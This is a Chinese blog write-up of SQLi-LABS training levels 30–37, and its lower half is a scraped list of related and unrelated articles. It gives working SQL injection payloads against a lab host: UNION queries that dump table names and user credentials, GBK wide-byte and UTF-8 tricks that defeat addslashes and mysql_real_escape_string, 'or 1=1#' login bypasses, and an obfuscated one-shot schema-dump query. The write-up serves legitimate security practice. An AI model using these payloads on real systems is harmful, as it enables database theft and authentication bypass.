Less-30

GET - BLIND - IMPIDENCE MISMATCH- Having

http://10.10.202.112/sqli/Less-30?id=1" #false

http://10.10.202.112/sqli/Less-30?id=1"--+ #true

http://10.10.202.112/sqli/Less-30?id=1" order by 4--+ #false

http://10.10.202.112/sqli/Less-30?id=1" order by 3--+ #true

http://10.10.202.112/sqli/Less-30?id=-1" +UNION+ALL+SELECT+1,2,3--+

http://10.10.202.112/sqli/Less-30?id=-1" +UNION+ALL+SELECT+1,user(),version()--+

Less-31

GET - BLIND - IMPIDENCE MISMATCH- Having

http://10.10.202.112/sqli/Less-31?id=1"

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\phpStudy2018\PHPTutorial\WWW\sqli\Less-31\index.php on line 33
You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right
syntax to use near '"1"") LIMIT 0,1' at line 1

进行闭合

http://10.10.202.112/sqli/Less-31?id=1")--+ #true

http://10.10.202.112/sqli/Less-31?id=1") order by 3--+ #true

http://10.10.202.112/sqli/Less-31?id=1") order by 4--+ #false

http://10.10.202.112/sqli/Less-31?id=-1") union select 1,2,3--+

http://10.10.202.112/sqli/Less-31?id=-1") union select 1,user(),database()--+

Less-32

GET - Bypass custom filter adding slashe

宽字节注入的问题

原理

mysql 在使用GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个ascii 码大于128 才能到汉字的范围)。我们在过滤’ 的时候,往往利用的思路是将’ 转换为’ (转换的函数或者思路会在每一关遇到的时候介绍)。

%df 吃掉 \ 具体的原因是 urlencode(’) = %5c%27,我们在 %5c%27 前面添加 %df,形成 %df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此事 %df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。
将 ’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 的情况,后面的 %5c 会被前面的 %5c 给注释掉。这也是bypass 的一种方法。
注入思路

将’ 前面添加的\ 除掉,一般有两种思路:

urlencode(’) = %5c%27,我们在 %5c%27 前面添加 %df,形成 %df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此事 %df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的

http://10.10.202.112/sqli/Less-32?id=1%df%27

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\phpStudy2018\PHPTutorial\WWW\sqli\Less-32\index.php on line 43
You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right
syntax to use near ''1�\'' LIMIT 0,1' at line 1

进行闭合

http://10.10.202.112/sqli/Less-32?id=1%df%27 order by 3--+ #true

http://10.10.202.112/sqli/Less-32?id=1%df%27 order by 4--+ #false

http://10.10.202.112/sqli/Less-32?id=-1%df%27 union select 1,2,3--+

http://10.10.202.112/sqli/Less-32?id=-1%df%27 union select 1,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),3--+

Less-33

GET - Bypass AddSlashes()

原理
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
过滤:

单引号(')
双引号(")
反斜杠(\)

http://10.10.202.112/sqli/Less-33?id=1%df%27

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\phpStudy2018\PHPTutorial\WWW\sqli\Less-33\index.php on line 39
You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right
syntax to use near ''1�\'' LIMIT 0,1' at line 1

尝试闭合

http://10.10.202.112/sqli/Less-33?id=1%df%27--+

http://10.10.202.112/sqli/Less-33?id=-1%df%27 +UNION+ALL+SELECT+1,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users),3--+

Less-34

POST - Bypass AddSlashes()

原理

本关是 post 型的注入漏洞,同样的也是将post 过来的内容进行了 ‘’ 的处理。由上面的例子可以看到我们的方法就是将过滤函数添加的 \ 给吃掉。而 get 型的方式我们是以 url 形式提交的,因此数据会通过URLencode,如何将方法用在 post 型的注入当中,我们此处介绍一个新的方法。
将 utf-8 转换为 utf-16 或 utf-32,例如将 ’ 转为 utf-16 为 %EF%BF%BD% 。我们就可以利用这个方式进行尝试。
SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1

SELECT username, password FROM users WHERE username='%EF%BF%BD%' or 1=1-- -' and password='$passwd' LIMIT 0,1

SELECT username, password FROM users WHERE username='%EF%BF%BD%' or 1=1

payload:

username: %EF%BF%BD'or 1=1#

password: 123

Less-35

GET - Bypass addslashes(we don’t need them) Integer based

查看源码,可以判断为整形注入吧

http://10.10.202.112/sqli/Less-35?id=1 and 1=1--+ #true

http://10.10.202.112/sqli/Less-35?id=1 and 1=2--+ #false

http://10.10.202.112/sqli/Less-35?id=-1 union select 1,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users),3--+

Less-36

GET - Bypass MySQL_real_eacape_string

原理

mysql_real_escape_string() 函数

\x00
\n
\r
\
'
"
\x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回false

但是因 mysql 我们并没有设置成 gbk,所以 mysql_real_escape_string() 依旧能够被突破

payload:

%EF%BF%BD%27

http://10.10.202.112/sqli/Less-36?id=1%EF%BF%BD%27--+

http://10.10.202.112/sqli/Less-36?id=-1%EF%BF%BD%27 union select 1,concat/*!(unhex(hex(concat/*!(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c62723e3c62723e,unhex(hex(concat/*!(0x3c63656e7465723e3c666f6e7420636f6c6f723d7265642073697a653d343e3c623e3a3a207e7472306a416e2a2044756d7020496e204f6e652053686f74205175657279203c666f6e7420636f6c6f723d626c75653e28574146204279706173736564203a2d20207620312e30293c2f666f6e743e203c2f666f6e743e3c2f63656e7465723e3c2f623e))),0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d626c75653e4d7953514c2056657273696f6e203a3a20,version(),0x7e20,@@version_comment,0x3c62723e5072696d617279204461746162617365203a3a20,@d:=database(),0x3c62723e44617461626173652055736572203a3a20,user(),(/*!12345selEcT*/(@x)/*!from*/(/*!12345selEcT*/(@x:=0x00),(@r:=0),(@running_number:=0),(@tbl:=0x00),(/*!12345selEcT*/(0) from(information_schema./**/columns)where(table_schema=database()) and(0x00)in(@x:=Concat/*!(@x, 0x3c62723e, if( (@tbl!=table_name), Concat/*!(0x3c666f6e7420636f6c6f723d707572706c652073697a653d333e,0x3c62723e,0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@r:=@r%2b1, 2, 0x30),0x2e203c2f666f6e743e,@tbl:=table_name,0x203c666f6e7420636f6c6f723d677265656e3e3a3a204461746162617365203a3a203c666f6e7420636f6c6f723d626c61636b3e28,database(),0x293c2f666f6e743e3c2f666f6e743e,0x3c2f666f6e743e,0x3c62723e), 0x00),0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@running_number:=@running_number%2b1,3,0x30),0x2e20,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d7265643e,column_name,0x3c2f666f6e743e))))x)))))*/,3--+

Less-37

POST - Bypass MySQL_real_escape_string

post 内容用的是 mysql_real_escape_string()函数,而不是 addslashes()函数

payload:

uname: %EF%BF%BD'or 1=1#

passwd: 123

待续!!!

点击赞赏二维码,您的支持将鼓励我继续创作!

SQLi-LABS Page-2 (Adv Injections) Less30-Less35的更多相关文章

  1. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  2. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  3. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  4. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  5. SQLI LABS Advanced Part(23-37) WriteUp

    继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...

  6. SQLi-LABS Page-2 (Adv Injections) Less23-Less26

    Less-23 GET - Error based - strip comments http://10.10.202.112/sqli/Less-23?id=1' Warning: mysql_fe ...

  7. 【靶场练习_sqli-labs】SQLi-LABS Page-2 (Adv Injections)

    Less-21:括号+单引号绕过+base64cookie编码 总感觉我已经把sql注入做成代码审计了:P <?php //including the Mysql connect paramet ...

  8. SQLi-LABS Page-2 (Adv Injections) Less27-Less29

    Less-27 GET - Error Based- All your UNION and select belong to us 过滤了union 和select的报错注入 查看源码: 使用%09 ...

  9. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

随机推荐

  1. 【Gradle】Gradle入门

    Gradle入门 配置Gradle环境 安装之前确保已经安装配置好Java环境,要求JDK6以上,并且在环境变量里配置了JAVA_HOME,查看Java版本可以在终端输入如下命令: java -ver ...

  2. Object-C一日速成——环境搭建

    要我说,想要学习一门语言,搭建好相关的环境可以达到事半功倍的效果,那么今天我们就来聊一聊关于在windows系统上搭建Object-C语言编程环境的那些事. 文章目录 一.基于CodeBlocks的O ...

  3. [20190531]建立job与commit.txt

    [20190531]建立job与commit.txt --//昨天看链接:https://connor-mcdonald.com/2019/05/28/dbms_job-the-joy-of-tran ...

  4. C学习笔记(11)--- 可变参数,浅谈内存管理 【C基础概念系列完结】

    1.可变参数(variable arguments): 可变参数允许您定义一个函数,能根据具体的需求接受可变数量的参数. int func(int, ... )             (函数 fun ...

  5. 01-路由跳转 安装less this.$router.replace(path) 解决vue/cli3.0语法报错问题

    2==解决vue2.0里面控制台包的一些语法错误. https://www.jianshu.com/p/5e0a1541418b 在build==>webpack.base.conf.j下注释掉 ...

  6. 在安装完jdk以后,发现javac不能执行

    安装和配置环境变量都按着流程在,但在最后的检验时,发现Java   Java -version 都能运行,唯独Javac 报“不能识别命令”错误信息,下面列出我遇到一个尴尬问题 在path变量里

  7. 201871010116-祁英红《面向对象程序设计(java)》第四周学习总结

    博文正文开头格式:(2分) 项目 内容 <面向对象程序设计(java)> https://www.cnblogs.com/nwnu-daizh/ 这个作业的要求在哪里 https://ww ...

  8. day65_10_9vue循环指令与组件

    一.v-once v-once指令赋值给标签后,这个标签中的所有变量都不能被更改,只能被渲染一次.之后的改动不能改变该标签中的值: <div id="app"> < ...

  9. CF991C Candies

    CF991C Candies 洛谷评测传送门 题目描述 After passing a test, Vasya got himself a box of nn candies. He decided ...

  10. C语言中关于输出n个数后就换行的问题。

    例如:n=10 ........; n++; if(n%10==0&&n!=0)    //因为当n=0时,n%10的值也是0,就也会转行,为了防止这种情况的发生,就用了&&a ...